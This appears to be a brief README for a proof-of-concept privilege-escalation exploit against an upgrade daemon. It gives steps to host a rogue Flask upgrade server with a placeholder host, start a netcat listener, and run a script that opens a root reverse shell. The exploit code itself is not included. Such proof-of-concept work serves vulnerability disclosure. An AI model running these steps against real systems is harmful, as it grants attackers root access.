To run:
- This attack needs to be hosted on a server using TLS and a valid certificate.
- Once the server is available, replace the instances of
INSERT_SERVER_HOST
inupgradeserver.py
andpwn_upgradedaemon.sh
with the server hostname - Start the Flask server with
FLASK_APP=upgradeserver.py python3 -m flask run
- The proof of concept opens a reverse shell as root to localhost. Start a listener in a new terminal with
nc -l 1337
- Run
./pwn_upgradedaemon.sh